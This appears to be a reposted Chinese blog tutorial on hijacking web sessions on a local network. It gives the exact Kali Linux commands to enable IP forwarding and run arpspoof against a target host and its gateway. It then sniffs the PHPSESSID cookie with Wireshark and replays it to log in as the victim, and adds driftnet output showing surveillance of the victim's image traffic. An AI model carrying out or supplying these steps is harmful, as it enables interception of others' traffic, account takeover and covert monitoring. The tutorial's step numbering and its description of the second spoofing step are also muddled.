利用arpspoof进行cookie会话劫持

最新推荐文章于 2025-06-28 12:00:00 发布

转载最新推荐文章于 2025-06-28 12:00:00 发布 · 2.1k 阅读

网络防御专栏收录该内容

10 篇文章

订阅专栏

本文介绍如何通过arpspoof工具实现中间人攻击，完成对目标主机的cookie会话劫持。首先开启IP转发功能，然后通过ARP毒化欺骗目标主机和网关，最终获取并利用PHPSESSID进行登录状态劫持。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

利用arpspoof进行cookie会话劫持

1.开启IP转发

root@kali-PC:~# echo 1 > /proc/sys/net/ipv4/ip_forward

2.基本信息

A：本机信息

192.168.1.104

B：.靶机

192.168.1.108

C：网关

root@kali-PC:~# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         192.168.1.1     0.0.0.0         UG    0      0        0 wlan0
192.168.1.0     *               255.255.255.0 U     0      0        0 wlan0

2.ARP毒化，向攻击机声称自己(攻击者)就是网关
root@kali-PC:~# arpspoof -i wlan0 -t 192.168.1.108 192.168.1.1

3.ARP毒化，向网关声称自己(攻击者)就是网关
root@kali-PC:~# arpspoof -i wlan0 -t 192.168.1.1 192.168.1.108

4.wireshark抓包

图中PHPSESSID的值是我们后续要用的

5.劫持会话

打开相应网站，把PHPSESSID的值设置为19b924ccbdda14b0da297664904e9129，然后刷新网页，此时可看到已经是登录后状态了

6.延伸：监控靶机上打开的图片

root@kali-PC:~# driftnet -i wlan0 -b -v
driftnet: using temporary file directory /tmp/drifnet-YHw0gx
driftnet: listening on wlan0 in promiscuous mode
driftnet: using filter expression `tcp'
driftnet: started display child, pid 4442
driftnet: link-level header length is 14 bytes
.driftnet: new connection: 61.155.222.133:80 -> 192.168.1.108:47590
..driftnet: new connection: 192.168.1.108:47590 -> 61.155.222.133:80
..........driftnet: new connection: 192.168.1.104:60461 -> 61.155.222.133:80
..driftnet: new connection: 61.155.222.133:80 -> 192.168.1.104:60461
............driftnet: new connection: 192.168.1.108:39835 -> 216.58.221.142:443
..........driftnet: new connection: 192.168.1.108:39836 -> 216.58.221.142:443
......................................................................driftnet: new connection: 192.168.1.108:39835 -> 216.58.221.142:443
..........driftnet: new connection: 192.168.1.108:39836 -> 216.58.221.142:443
......